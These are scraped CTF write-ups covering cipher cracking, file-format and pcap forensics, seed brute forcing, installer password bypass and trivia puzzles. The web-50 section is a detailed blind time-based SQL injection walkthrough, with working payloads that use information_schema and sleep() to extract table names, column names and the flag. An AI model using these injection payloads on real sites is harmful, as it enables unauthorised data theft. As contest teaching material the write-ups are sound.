8f: 36 fk: 36 kd: 36 4b: 23 bg: 23 g9: 23 fm: 20 ls: 20 sx: 20 xq: 20 rk: 18 mr: 17 cj: 16 jo: 16 ty: 16 9g: 15 gl: 15 le: 15 mt: 15 yr: 15 ht: 14 tm: 14 nz: 13 zs: 13 6d: 12 di: 12 ej: 11 mf: 11 7e: 10 ah: 10 hm: 10 jc: 10 16: 8 bn: 8 ng: 8 q8: 8 dl: 7 sl: 7 9a: 6 ef: 6 k4: 6 49: 5 92: 5 dh: 5 gn: 5 ip: 5 kc: 5 mn: 5 ns: 5 pu: 5 3a: 4 5h: 4 9h: 4 af: 4 b4: 4 c8: 4 f8: 4 g8: 4 ha: 4 ov: 4 pw: 4 qm: 4 sb: 4 wu: 4 07: 3 5a: 3 70: 3 7c: 3 96: 3 9l: 3 a3: 3 cc: 3 d6: 3 dm: 3 el: 3 g4: 3 j8: 3 k8: 3 lq: 3 m7: 3 ma: 3 qj: 3 r4: 3 u9: 3 27: 2 38: 2 6g: 2 6l: 2 81: 2 83: 2 9f: 2 9p: 2 c6: 2 d4: 2 d7: 2 d8: 2 dn: 2 dp: 2 e4: 2 e7: 2 e8: 2 e9: 2 ff: 2 i8: 2 ib: 2 in: 2 l8: 2 o8: 2 o9: 2 oe: 2 oh: 2 ol: 2 om: 2 qc: 2 r1: 2 rc: 2 s4: 2 sz: 2 vh: 2 zx: 2 03: 1 05: 1 10: 1 1b: 1 21: 1 22: 1 23: 1 26: 1 29: 1 2c: 1 34: 1 35: 1 3b: 1 43: 1 44: 1 45: 1 69: 1 6b: 1 6f: 1 6o: 1 84: 1 85: 1 90: 1 98: 1 9e: 1 9m: 1 a1: 1 a2: 1 a4: 1 ao: 1 c1: 1 c5: 1 c9: 1 cn: 1 d1: 1 d3: 1 d5: 1 d9: 1 dc: 1 df: 1 dg: 1 ds: 1 e1: 1 f9: 1 fc: 1 fh: 1 fi: 1 fn: 1 gc: 1 i1: 1 i2: 1 i4: 1 i9: 1 ie: 1 ii: 1 jq: 1 k7: 1 kf: 1 ki: 1 kr: 1 l5: 1 li: 1 ll: 1 m4: 1 m8: 1 o4: 1 o6: 1 oa: 1 on: 1 ot: 1 po: 1 q4: 1 q7: 1 q9: 1 qf: 1 ql: 1 qq: 1 qv: 1 qx: 1 rb: 1 rf: 1 ri: 1 rl: 1 rm: 1 ro: 1 rs: 1 rw: 1 s6: 1 s7: 1 s8: 1 s9: 1 sm: 1 u4: 1 u7: 1 u8: 1 uf: 1 ug: 1 ul: 1 v4: 1 vb: 1 vn: 1 vo: 1 wp: 1 xb: 1 xg: 1 xv: 1 y9: 1
The single character distribution is alarming, but the bigramdistribution is even more alarming. In particular, notice the exact 36counts of '8f', 'fk', and 'kd'. This screamed to us, and we found thatthere are exactly 36 counts of '8fkd'. We then reasoned that this groupof characters might map back to a single unique n-gram in the plaintext.To follow this potential idea, we replaced '8fkd' with 'E' (arbitrary)in the ciphertext, and proceeded to repeat this through the rest of theciphertext.
8fkd: E gnsl: R 6di: J 381: = 4bg9: I 3af8: S 7ejc: K 270: @ lsxq: A 5ha: T ahmf: L krwp: # fmrk: B 16: U bng: M qxv: ü 9gle: C elqj: V 492: N jqvo: ~ mtyr: D ov: W szx: O ty: ➜ cjo: F 07c: X pwu: P 29e7: & htm: G 5a3: Y ipu: Q nzs: H b4: Z
(This is actually our original table that we produced, and the Unicode is aside effect of team member trolling)
We get this text (with the special characters replaced and newlines added forreading cleanliness, this is 272 characters).
JUWGHAFEDMIPCBILDIGKHMNFACBILDAKFCCEAEGHKEOMIPKFCCEAEGHJ QBQADDQRQCKERAD3WIAEDUREAEJHIGLBEDUREEPEGBFVEHAFIGLBEKEG HMEAEADORTUBFJCBILDBFVEHMEJMEJVEAEKCBILCUADFLGIBFGLHMEEG KUCIAIJEUA4MFHECBILQC5EIJETWHIBBKF6CIJHDIAEFAAEBEPIGHCBI LFDIDFDWGKEABFGENJZIXJN7XTN8XJ9YNUZS8ZYT9SIESSYZ
As one idea, we threw this into a single substitution cipher solvertrying statistical analysis on English.
COUNTRIES HAV FLAGS AND THWIRFLAGSR DIFFERENT DEY HAV DIFFERENTCXLXRSSXMXFDE MRS3 U ARE SOME RECTANGLE SOME EVEN LIKE TRIANGLE DEN THERER SYMBOLIC FLAGS LIKE THE CHECKERED FLAG FOR SIGNALING THE END OF A RACE OR4 HITE FLAGXF5 EACE BUT ALL DI6FACTS ARE IRRELEVANT FLAG IS ASIS UNDERLINEW CZAJCW7JBW8JC9PWOZQ8ZPB9QAEQQPZ
We had to clean this up manually. In particular, we knew that the laststring is a 32 character hex string.. because the answer format isASIS\_md5. Notice right before the end.. *FLAG IS ASIS UNDERLINE*. Sowe know that they are giving away the flag. We needed to clean this textup as best we can by guessing the text. The organizers were also cleverin mixing numbers into the plaintext (to make it easier to correlateback to the numerics in the hash) by including gems like "TH3IR" and"C0L0R".
Once cleaned, we had this potential flag.
3c6a1c371b381c943065864b95ae5546
Even after our attempted deciphering of the previous message, we weren'tsure about the correctness of the characters `12456789x`.
The javascript code in the ASIS ctf website checks for flag correctnessbefore sending it serverside (We did test to make sure they they didalso do server side validation :) ). The webpage hard codes the SHA-256of the right answer, presumably to minimize server load, so we couldverify our answers on our own boxes before shipping it up. So here isthe ~~pukey~~ Python that we used to bruteforce the the remaining flagpossibilities.
```pythonfrom itertools import permutationsfrom hashlib import sha256
def test(s): e = '9f2a579716af14400c9ba1de8682ca52c17b3ed4235ea17ac12ae78ca24876ef' return sha256('ASIS_' + s).hexdigest() == e
m = '3c6a1c371b381c943065864b95ae5546's = '12456789x'for p in permutations(s): def f(sub, c): if c in sub: return sub[c] else: return c sub = {c : d for c, d in zip(s, p)} z = ''.join(f(sub, c) for c in m) if test(z): print z break```
And it dumps out the flag!
ASIS_3c5a6c386b326c143059254b19ae9945 |
# Cryptor
## The GivenWe have found the cryptor source code. Decrypt the file.
```c++#include <stdio.h>#include <stdlib.h>#include <string.h>#include <time.h>
using namespace std;int bitXor(int, int);
int main(int argc, char **argv){ srand(time(NULL)); char *path=new char[30]; if(argc > 1) path = argv[1]; else { printf("\nenter file\n"); scanf("%s",path); } int g = rand() % 512 + 32; int n = rand() % g; int mask = rand() % 256; FILE *inFile = fopen(path, "rb"); FILE *outFile = fopen(strcat(path, "_Crypted"), "wb"); if(inFile == NULL || outFile == NULL) { printf("Error\ncant read/write file\n"); return 1; } unsigned char H, L; unsigned char *readBuffer = new unsigned char[g], *writeBuffer = new unsigned char[g]; while(!feof(inFile)) { int len = fread(readBuffer, 1, g, inFile); if(len < g) fwrite(readBuffer , 1 , len , outFile); else { for(int i = 0 ; i < g ; i++) { int nIndex = i + n; int pIndex = i - n; if(nIndex >= g) nIndex -= g; if(nIndex < 0) nIndex += g; if(pIndex >= g) pIndex -= g; if(pIndex < 0) pIndex += g; H = readBuffer[nIndex] / 16; L = readBuffer[pIndex] % 16; writeBuffer[i] = bitXor(16 * H + L, mask); } fwrite(writeBuffer , 1 , g , outFile); } } fclose (inFile); fclose (outFile); printf("\nsave decryption code: %d.%d.%d\n", g, n, mask); return 0;}
int bitXor(int x, int y){ int a = x & y; int b = ~x & ~y; int z = ~a & ~b; return z;}```
Also included is a file named "flag.png_Crypted".
## AnalysisLooks like we choose a random key here:```c++int g = rand() % 512 + 32;int n = rand() % g;int mask = rand() % 256;```First impression: there are about `512 * 512 * 256 = 2^26` possible keys,which is a tiny search space.
Here is where we do the actual encryption:```c++unsigned char H, L;unsigned char *readBuffer = new unsigned char[g], *writeBuffer = new unsigned char[g];while(!feof(inFile)){ int len = fread(readBuffer, 1, g, inFile); if(len < g) fwrite(readBuffer , 1 , len , outFile); else { for(int i = 0 ; i < g ; i++) { int nIndex = i + n; int pIndex = i - n; if(nIndex >= g) nIndex -= g; if(nIndex < 0) nIndex += g; if(pIndex >= g) pIndex -= g; if(pIndex < 0) pIndex += g; H = readBuffer[nIndex] / 16; L = readBuffer[pIndex] % 16; writeBuffer[i] = bitXor(16 * H + L, mask); } fwrite(writeBuffer , 1 , g , outFile); }}```So `g` is used as a block length, `n` is used as an offset, and `mask` is usedas a mask. The way this code is written, it's kind of hard to see where bitsare going in all of that arithmetic, so let's simplify it a bit.
First, let's look at these lines:```c++int nIndex = i + n;if(nIndex >= g) nIndex -= g;if(nIndex < 0) nIndex += g;```
The index `i` loops over the block, and we're adding the offset `n` to indexlater into the block. The if statements make sure that we wrap around insteadof running off the end of the block. I find it easier to read as```c++int nIndex = (i + n) % g;```Similarly,```c++int pIndex = (i - n) % g;```
H and L are being grabbed from those offset bytes. But dividing by 16 is thesame as bit shifting right by 4 bits, and modding by 16 is the same as maskingaway everything but the lowest order 4 bits, so we can reason better aboutwhere the bits are going if we write it as```c++H = readBuffer[nIndex] >> 4;L = readBuffer[pIndex] % 0xf;```
In the same vein, we can rewrite `16 * H + L` as `H << 4 | L`.
The bitXor function is literally just a bitwise xor, so I have no clue why thatis a function. Rewrite it as```c++writeBuffer[i] = (H << 4 | L) ^ mask;```
Here's what we have now:```c++unsigned char H, L;unsigned char *readBuffer = new unsigned char[g], *writeBuffer = new unsigned char[g];while(!feof(inFile)){ int len = fread(readBuffer, 1, g, inFile); if(len < g) fwrite(readBuffer , 1 , len , outFile); else { for(int i = 0 ; i < g ; i++) { int nIndex = (i + n) % g; int pIndex = (i - n) % g; H = readBuffer[nIndex] >> 4; L = readBuffer[pIndex] & 0xf; writeBuffer[i] = (H << 4 | L) ^ mask; } fwrite(writeBuffer , 1 , g , outFile); }}```
Great. It looks like each byte of ciphertext is made of the high-order bits ofa later byte and the low-order bits of an earlier byte (modulo `g`). Everythingis processed as blocks of g at a time, and the leftovers are kept as plaintext.
Now let's break it.
First we figure out how decryption works. Notice that each byte of plaintext is"sampled" twice: once for its high bits and once for its low bits. For example,the low bits of `p[0]` are found at `c[n]` and the high bits are in `c[g - n]`,masked with the mask. So`p[i] = ((c[(i - n) % g] >> 4) << 4) | (c[(i + n) % g] & 0xff)`.
The code for the decryption therefore looks like this:```pythonimport sys
read = [ord(c) for c in open('flag.png_Crypted').read()]blocks = [read[i * g:(i + 1) * g] for i in range(len(read) / g)]write = [0] * gfor block in blocks: for i in range(g): nIndex = (i - n) % g pIndex = (i + n) % g H = block[nIndex] >> 4 L = block[pIndex] & 0xf write[i] = (H << 4 | L) ^ mask sys.stdout.write(''.join(chr(c) for c in write))sys.stdout.write(''.join(chr(c) for c in read[g * (len(read) / g):]))```
Now we just need to find the key (g, n, mask). This is made easier by knowningsomething about the plaintext: it is a PNG, which has the header"\x89\x50\x4e\x47". This gives us a very fast test to brute force the key.```pythonread = [ord(c) for c in open('flag.png_Crypted').read()]write = [0, 0, 0, 0]for g in range(32, 512 + 32): for n in range(g): for mask in range(256): for i in range(4): nIndex = (i - n) % g pIndex = (i + n) % g H = read[nIndex] >> 4 L = read[pIndex] & 0xf write[i] = (H << 4 | L) ^ mask if write == [0x89, 0x50, 0x4e, 0x47]: print g, n, mask```
Once we have the key, we just plug it into the decryption code, and we indeedget a PNG.
Open it up, and it's the flag`ASIS_449e435e4c40dfa726f11b83a07b5471`. |
# Windows
## The GivenAppend what you find to "ASIS\_" and send that as flag.
An [mp4 video](windows_assets/windows.mp4) is attached. It's a video of smallpictures of windows flashing across the screen with a strange soundtrack.
## AnalysisLet's start with the audio. Pull out the audio with ffmpeg.
ffmpeg -i windows.mp4 windows.wav
The audio sounds like it's something in reverse, and opening it up in Audacityand reversing it confirms this. It's a man's voice saying`51324984652187698521487459648201`. This is 32 characters, so it could be anmd5 hash, but appending that to `ASIS_` isn't correct flag, so we're not doneyet.
Now we look at the video. If you stare at it for awhile, it looks like thewindows flashing on the screen are tracing out some sort of pattern, but it'sreally hard to tell. Additionally, there seem to be a fixed set of positions inwhich the windows appear.
In order to get a better look at it, we can turn the video into a GIF so wecan scroll a frame at a time in GIMP.
ffmpeg -i windows.mp4 windows.gif
Only the first frame of the generated GIF has the black background, so wedelete that with the color picker tool, and we can see that it was indeed apattern.
It's a QR code (we've seen enough of those before in other CTFs, turns out this one wasa Version 1 QR code, which is 21x21). The QR scanner apps on our phonescouldn't quite read it, so we had to fudge it into a more readable state inGIMP with creative selections and scaling (in particular, I selected all ofthe white with the color picker tool, inverted the selection, grew theselection by 5 pixels, then shrank it by 3, then flood filled black, thenscaled it down to 21x21 without interpolation).
.
The QR code encodes the message "xorwith313". So we xor the above numberwith 313
51324984652187698521487459648201 ^ 313 = 51324984652187698521487459648496
The flag is `ASIS_51324984652187698521487459648496`. |
# PCap
## Given
We're given a pcap file.
[The pcap file](pcap.pcap).
## Observations
There were two ip addresses communicating with each other:
* 172.16.133.133* 172.16.133.149
## TCP Conversations
There was some substantial cover traffic, but in the end, we identifiedjust three categories of communication that were relevant:
* TCP Stream 0 -- Used as a just a chat apparently between the two users on either end.
172.16.133.149: hello 172.16.133.133: I need secret key 172.16.133.149: ok 172.16.133.149: secret key will be sent on 6 parts 172.16.133.149: secret key : part 1 is M)m5s6S 172.16.133.149: did you received part 1 of secret key? 172.16.133.133: yes please send part 2 172.16.133.149: part 2 of secret key is ^[>@# 172.16.133.133: I recieved part 2 172.16.133.133: ok. please send me the other parts too 172.16.133.149: part 3 of secret key is Q3+1 172.16.133.149: did you received part 3? 172.16.133.133: yes 172.16.133.149: are you ready to receive part 4? 172.16.133.133: yes, please send 172.16.133.149: part 4 is 0PD. 172.16.133.133: ok. i received part 4 172.16.133.133: Please send me part 5 172.16.133.149: ok 172.16.133.149: part 5 of secret key is KE#cy 172.16.133.133: I received part 5 172.16.133.149: part 6 of secret key is PsvqH 172.16.133.133: ok. I received all parts of secret key. 172.16.133.133: Thanx
* HTTP file transfers hitting various ports, but all HTTP, and all were 172.16.133.133 requesting files from 172.16.133.149. These all requested files of filenames that were md5 hashes. For example:
GET /files/d33cf9e6230f3b8e5a0c91a0514ab476
Additionally, The ASIS organizers realized that there was a bug inproblem in that they forgot to provide two files. These were`053dc897d3e154dd5ed27c46b738850d` and `21eae902cf5b82c7b207e963a130856d`.
* An HTTP download of an Apache index page, where the contents of the index page all corresponded to files downloaded in the previously mentioned HTTP file transfers. Interestingly, those file transfers used ports and web servers that weren't apache.. this seems to just be something meant to confuse analysts. though. I've reproduced the table here in an ascii format.
Filename Date Last Modified Filesize d33cf9e6230f3b8e5a0c91a0514ab476 24-May-2013 09:21:16 61440 e564f66f2cf3e974887ea85028a317c6 24-May-2013 09:21:22 61440 89799fdf064c77dad7923548140c18c5 24-May-2013 09:21:23 61440 f6fb802feded5924fff1749b11e44c9b 24-May-2013 09:21:26 61440 c68cc0718b8b85e62c8a671f7c81e80a 24-May-2013 09:21:33 58009 326f79adc7ee143dcbb4cb8891a92259 24-May-2013 09:21:20 61440 053dc897d3e154dd5ed27c46b738850d 24-May-2013 09:21:31 61440 2aa242d4dbcb9b6378229c514af79b05 24-May-2013 09:21:24 61440 21eae902cf5b82c7b207e963a130856d 24-May-2013 09:21:32 61440 7356949650ccadfe1fb3a80b0db683d1 24-May-2013 09:21:26 61440 5b6540cd89bbd12bf968e110b965a840 24-May-2013 09:21:19 61440 40f4d5abfcdb369eeb0ac072796b7f30 24-May-2013 09:21:30 61440 6afd1bbadfabc3da6f3b7265df75744f 24-May-2013 09:21:27 61440 57f18f111f47eb9f7b5cdf5bd45144b0 24-May-2013 09:21:17 61440 35639a4410f245791ce5d2945702c4dc 24-May-2013 09:21:29 61440 1e13be50f05092e2a4e79b321c8450d4 24-May-2013 09:21:18 61440 fe7fe85cb5a023310f251acc2993d62e 24-May-2013 09:21:25 61440 4b87fbafcd05a39da90d69943393f79d 24-May-2013 09:21:21 61440 189facdce68effbf99ab7263c8b87304 24-May-2013 09:21:28 61440 255029ecf7e1a35b368ed123e2955099 24-May-2013 09:21:20 61440
## Some analysis
We noticed:
* One file, `d33cf9e6230f3b8e5a0c91a0514ab476`, had the magic number of a 7zip archive. It did not correctly decompress.* One file, `c68cc0718b8b85e62c8a671f7c81e80a`, has a smaller filesize than the rest of the files.
We reasoned that all of these files could be blocks of a larger archive,and that the smaller file is the trailing block at the end. Just onspeculation, we sorted the files by date last modified.
Date Last Modified Filename Filesize 09:21:16 24-May-2013 d33cf9e6230f3b8e5a0c91a0514ab476 61440 09:21:17 24-May-2013 57f18f111f47eb9f7b5cdf5bd45144b0 61440 09:21:18 24-May-2013 1e13be50f05092e2a4e79b321c8450d4 61440 09:21:19 24-May-2013 5b6540cd89bbd12bf968e110b965a840 61440 09:21:20 24-May-2013 255029ecf7e1a35b368ed123e2955099 61440 09:21:20 24-May-2013 326f79adc7ee143dcbb4cb8891a92259 61440 09:21:21 24-May-2013 4b87fbafcd05a39da90d69943393f79d 61440 09:21:22 24-May-2013 e564f66f2cf3e974887ea85028a317c6 61440 09:21:23 24-May-2013 89799fdf064c77dad7923548140c18c5 61440 09:21:24 24-May-2013 2aa242d4dbcb9b6378229c514af79b05 61440 09:21:25 24-May-2013 fe7fe85cb5a023310f251acc2993d62e 61440 09:21:26 24-May-2013 7356949650ccadfe1fb3a80b0db683d1 61440 09:21:26 24-May-2013 f6fb802feded5924fff1749b11e44c9b 61440 09:21:27 24-May-2013 6afd1bbadfabc3da6f3b7265df75744f 61440 09:21:28 24-May-2013 189facdce68effbf99ab7263c8b87304 61440 09:21:29 24-May-2013 35639a4410f245791ce5d2945702c4dc 61440 09:21:30 24-May-2013 40f4d5abfcdb369eeb0ac072796b7f30 61440 09:21:31 24-May-2013 053dc897d3e154dd5ed27c46b738850d 61440 09:21:32 24-May-2013 21eae902cf5b82c7b207e963a130856d 61440 09:21:33 24-May-2013 c68cc0718b8b85e62c8a671f7c81e80a 58009
And it totally screamed to us, since the first file listed is the onethat was marked as a 7zip archive, and the last file here is the onewith the smaller filesize.
We extracted the files from the HTTP transfers and mashed them togetherand tried to decompress them. We were prompted for a password, which wethen correlated to that other tcp stream that was the conversation. Fromthat, we ripped the key: `M)m5s6S^[>@#Q3+10PD.KE#cyPsvqH`. The archivesuccessfully decompressed, and there was a TIFF image with the flag.
We saw this and were worried that there was going to be stego in thisimage at this point, but thankfully we were wrong :).
ASIS_19f8c9dd916d8d73ba184227071debd4 |
#include <stdlib.h>#include <stdio.h>#include <limits.h>
unsigned int outputs[7][4] = { {0x7358837a, 0x6e1b2658, 0x3c00c5ff, 0x8c0d4aa}, {0x34d8c3b5, 0x5b56dca1, 0x78236d7, 0x1973085e}, {0x1f49456c, 0x27c0fa1d, 0x145214aa, 0x6200299c}, {0x1fea6614, 0x41cdb864, 0x53c0ed56, 0x63642916}, {0x4e81abc7, 0x792ce075, 0x7d2bc59c, 0x42a11ada}, {0x683d3f5d, 0xcaae38d, 0x7ec81c18, 0x444671e6}, {0x28c9a8fe, 0x3324b23, 0x3075f253, 0x60d2e9d2}};
unsigned int seeds[7] = {544485486,1914712179,811888180,874524781,1915974758,825319712,555819297};
void printasascii(unsigned int value){ printf("%c", (value) & 0xff); printf("%c", (value >> 8) & 0xff); printf("%c", (value >> 16) & 0xff); printf("%c", (value >> 24) & 0xff);}
typedef union { unsigned int integer; unsigned char bytes[4];} output_t;
int main(int argc, char* argv[]){ output_t value; value.bytes[0] = 0x20; value.bytes[1] = 0x20; value.bytes[2] = 0x20; value.bytes[3] = 0x20; unsigned int outcome; unsigned int tries = 0; size_t output_row = 0; size_t seeds_found = 0; while(1){ for(output_row = 0; output_row < 7; output_row++){ srandom(value.integer); outcome = random(); if(outcome == outputs[output_row][0]){ outcome = random(); if(outcome == outputs[output_row][1]){ outcome = random(); if(outcome == outputs[output_row][2]){ outcome = random(); if(outcome == outputs[output_row][3]){ seeds[output_row] = value.integer; seeds_found++; printf("Found %i/7 seeds\n", seeds_found); printf("Seed %i = \"", output_row); printasascii(value.integer); printf("\" (%i)\n", value.integer); if(seeds_found == 7) break; } } } } }
/* iterate printable ascii */ if(value.bytes[3] < 0x7f){ value.bytes[3]++; } else { value.bytes[3] = 0x20; if(value.bytes[2] < 0x7f){ value.bytes[2]++; } else { value.bytes[2] = 0x20; if(value.bytes[1] < 0x7f){ value.bytes[1]++; } else { value.bytes[1] = 0x20; if(value.bytes[0] < 0x7f){ value.bytes[0]++; } else { printf("Exhausted keyspace.\n"); break; } } } } tries++; if(tries % 1000000 == 0){ printf("Tried %i seeds\nCurrent seed trying: ", tries); printasascii(value.integer); printf("\n"); } } for(output_row = 0; output_row < 7; output_row++){ printasascii(seeds[output_row]); }
printf("\n"); for(output_row = 0; output_row < 7; output_row++){ printf("%i\n",seeds[output_row]); }
return 0;} |
In this task we are given anInnoSteup file, setup.exe. The setup.exe contained a long eula, and a passwordrequirement to install the program. Bypassing the password could be done withollydbg or just a simple innosetup unpacker. Unpacking the setup we see a C programwhich prints to screen that we already saw the flag. We are also given someother misleading information such as the password hash and salt (turns out thepassword was 1234567), but these are not the flag.Going back to the EULA we read itto find out that in section 7A it reads: YOU MAY SUBMIT THIS TO GET TEN POINTS:ILOVEREADINGEULAS. ILOVEREADINGEULAS is the flag.
|
This is a reference to DEFCON 2006’s trivia question whichused EBFE is to x86 as ____ is to PowerPC. This time we have to find the ARM64equivalent.<span>A quickgoogle search tells us that EBFE is a jmp instruction, but ARM does not havesuch instruction, they use branches instead, b is our instruction. Looking inthe ARMv8 reference manuals we can see that this refers to EAFFFFFE. This doesnot work however as that is the ARM32 variant. Converting to ARM64 we get14000000. Because ARM64 is also little endian, the answer is 00000014.</span><span>Reference manual: http://www.cs.utexas.edu/~peterson/arm/DDI0487A_a_armv8_arm_errata.pdf</span>
|
<span>Flag is out there: http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/</span>Flag format: CTF{..32 hexes..} <span>So we know we are given an IPv6 address missing two characters, hence XX. Thankfullywe can search for the address in an ipv6 database which tells us that there isa website with an ipv6 address of http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901]/.</span><span>Now I don’t have an ipv6 ISP, but there are websites out there (hahaha) that will actas a proxy / ipv6 gateway for ipv4 users such as myself. Entering in thisaddress to the gateway at www.ipv6proxy.netbrings us to a webpage with the following information:</span><span>“Vladimir Mikhaylovich Smirnov (born 7 March 1964) is an Kazakhstani formercross-country skier who raced from the 1982 until 1991 for the USSR and, later,for Kazakhstan. First Olympic champion from independent Kazakhstan. He is alsoa vice president of the International Biathlon Union. Smirnov is a formermember of International Olympic Committee.”</span>Viewing the source we see our flag in the comments:CTF{7a0dd6d4556a7ed60e6f7686eae0590d}
|
---- Writeup ----CTF: BACKDOOR 2014Problem: binary-10Author: Dr.OptixAll rights reserved.-----------------I will start with basic recon.$ file bin10 bin10: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e0f10986e9a0fc976ff2be10b411f368bfd53700, not stripped$ strings bin10 /lib64/ld-linux-x86-64.so.2CyIklibstdc++.so.6__gmon_start___Jv_RegisterClassespthread_cancel_ZNSsD1Ev_ZNSt8ios_base4InitD1Ev_ZNSsC1EPKcRKSaIcE_ZNKSs7compareEPKc_ZNSaIcEC1Ev_ZSt3cin_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E__gxx_personality_v0_ZSt4cout_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ZNSaIcED1Ev_ZNSsC1Ev_ZNSolsEPFRSoS_E_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E_ZNSt8ios_base4InitC1Evlibgcc_s.so.1_Unwind_Resumelibc.so.6__cxa_atexit__libc_start_mainGCC_3.0GLIBC_2.2.5CXXABI_1.3GLIBCXX_3.4fff.l$ Lt$(L|$0H40511702a6193f9b38d37699e676fd40Enter the password: a_few_basic_skills_will_doThe flag for this level is That doesn't seem to be the correct password.Access Denied.;*3$"zPLRThis looks like a potential flag: 40511702a6193f9b38d37699e676fd40Bingo! Flag is indeed: 40511702a6193f9b38d37699e676fd40~ Q.E.D |
---- Writeup ----CTF: BACKDOOR 2014Problem: web-50Author: Dr.OptixAll rights reserved.NOTE: Another solution proof made directly from the notes I took while solving-----------------This problem starts at:http://backdoor.cognizance.org.in/problems/web50/search.phpAt the first look it seems to be a SQL injection problem.The source disclosed nothing usefull.I was unable to cause an error using ' or " as bad injections. Instead I injected %%%. Because it is doing a search behind the scene I tought I could make it spit out everything that can be found.I got this:Quote SpeakerUse the Force, Luke. Obi-Wan KenobiDo… or do not. There is no try. Master YodaI find your lack of faith disturbing. Darth VaderFear is the path to the dark side. Fear leads to anger. Anger leads to hate. Hate leads to suffering. Master YodaYou’ve never heard of the Millennium Falcon? … It’s the ship that made the Kessel run in less than 12 parsecs. Han SoloAAARARRRGWWWH. ChewbaccaIn the source I found this after all: class="table table-striped">This makes me think I have only a part of the table. Also I have to do with aLIKE clause SQL injection.I should treat the query as something like this: SELECT column1, column2 FROM table1 WHERE column1 like '%' + @column1 + '%'I will take a break from this for now.Back on this one. I will try to bypass LIKE clause on local host first. CREATE TABLE mytable( id INT NOT NULL AUTO_INCREMENT, info VARCHAR(100) NOT NULL, PRIMARY KEY ( id ) );I found a valid payload construction: search=a%' and 1=1 and '%'='On local I found a building block like this one: select table_name from (select table_name from information_schema.tables where table_schema=database()) b where table_name like "m%" and sleep(5)I'm starting to get fustrated. Maybe I should go with sqlmap. Not yet tho.I found the correct building block: %%%' and (select table_name from information_schema.tables where table_schema=database() and table_name like "m%" and sleep(2)) and '%'='Complete payload schema: search=%%%' and (select table_name from information_schema.tables where table_schema=database() and table_name like "the_f%" and sleep (2)) and '%'='Potential table names obtained with the above payload schema: qu the_flag_is_over_hereI found the table "the_flag_is_over_here", by hand. Now I have to extract it's columns.To find column names I have to use information_schema.columns. To get the columns of a particular table I have to use:select column_name from information_schema.columns where table_name="mytable";Now I have to use that with the payload building block.I have an idea how to find the column number for the "the_flag_is_over_here" table. Using this: select * from (select count(*) as count from information_schema.columns where table_name="mytable") t where t.count = 1 and sleep(2);The new payload looks like this: %%%' and (select * from (select count(*) as count from information_schema.columns where table_name="mytable") t where t.count = 2 and sleep(2)) and '%'='As expected the table has one column, probably with the name of "flag".To make sure of the name I should use information_schema.columns to get at least the first and the second letters from the column name.New payload for finding column name or at least a few letters.First letter is "t".Last letter is "e".For easy manual search the new payload is: search=%%%' and (select c from (select column_name as c from information_schema.columns where table_name="the_flag_is_over_here" limit 1) t where c like concat("t", char(1),"%") and sleep(5)) and '%'='Potential name: tw..ePotential name: tw..ePotential name: twi..ePotential name: twisted..ePotential name: twisted_b..ePotential name: twisted..ePotential name: twisted_..ePotential name: twisted_..amePotential name: twisted_..namePotential name: twisted_namePotential name: twisted_column_nameBingo! That's the column name.Payload that will demonstrate this is the column name: search=%%%' and (select c from (select column_name as c from information_schema.columns where table_name="the_flag_is_over_here" limit 1) t where c like concat("twisted_column_name") and sleep(5)) and '%'='Now let's extract the info.Damit i need the database name. Maybe I can concat it.Payload building block for database name extraction: search=%%%' and (select c from (select table_schema as c from information_schema.tables where table_name="the_flag_is_over_here" limit 1) t where c like concat("s", char(97), "%") and sleep(5)) and '%'='Database name: sqli_dbPayload building block for flag extraction: search=%%%' and (select twisted_column_name from sqli_db.the_flag_is_over_here where twisted_column_name like concat ("", char(51),"%") and sleep(5)) and '%'='Partial flag: D 5 A B | A F 3 9 | 1 F 7 B | C 7 E 7 |Extracted flag:D 5 A B | A F 3 9 | 1 F 7 B | C 7 E 7 |C D A 8 | C 1 2 8 | E 5 C A | 3 1 8 7Confirmation: search=%%%' and (select twisted_column_name from sqli_db.the_flag_is_over_here where twisted_column_name = "D5ABAF391F7BC7E7CDA8C128E5CA3187" and sleep(5)) and '%'='The flag is: D5ABAF391F7BC7E7CDA8C128E5CA3187~ Q.E.D |
First Many Time Pad then Caesar cipherFor checking your solutions:Keystream8cbceac3c9359047eafb6eca7503e26bd603a435c762f975ce3be5ba678c58ed<span>2fb4f9ff61ec46537c71f13046df1180a784d005d358f69fa9842443df1c4c4173d175973c5d07970a1ead0c6de587c38b5be127775bfa2f4c4cb42652975829fb499973256cfa29937458514cf2f553d7b947b9f15d28299968b863d239cffd673ef8839e59c6e41d05ad802cc927a42fad06ca2c88fa2c44604ee34ee01766e46874cf1b095406ecfb2feacb1de1e6cb8200cd64f875552e589fe6bdaeacabde3adee77fb7fec264631471ec316586ecdc2da5364ff659f8c76dddb099a42dec9c5b39805ac9b4c432d71ac93a6d09c3f2e5a00d484d2260c82357617cf62ee662f424400bf2fbe7c0b4358b3ceeb40422f331cc3a70dd86daec0042e713947f203c7b4a5c4753991576388d79498bd8c71b3ff0127444179d0a849f8b99434201bf8a827d2e18c5c1327e7ad0bd6e66678da10b572fff5e094551143cb2b0dd95f4ad035617a2adc79890a51a19dd0d6eac6d54220f176255b208f5c55b03532ab1f431d58f2963c36bc45026774c0abb7604aa03b8865f95c14aac7bfc23<span>cdae17a5d6424ccede669f3a474b7a</span></span>Caesar shift: rot-3"By the way, your flag is {Caesar_does_not_strengthen_many_times_pad}." |
<span>Google "Elton Badget", first result is LinkedIn: http://ru.linkedin.com/pub/elton-badget/93/aa/42Read the initials of his "also knows about" section: Firewalls, Logistics Management, Apache, Graphic Design, IT Management, Servers, Database Design, IT Outsourcing, Computer Security, Technical Writing, ISO, 0-in, Network Security, Analytics, Risk Assessment, Yoga "FLAGISDICTI0NARY"</span> |
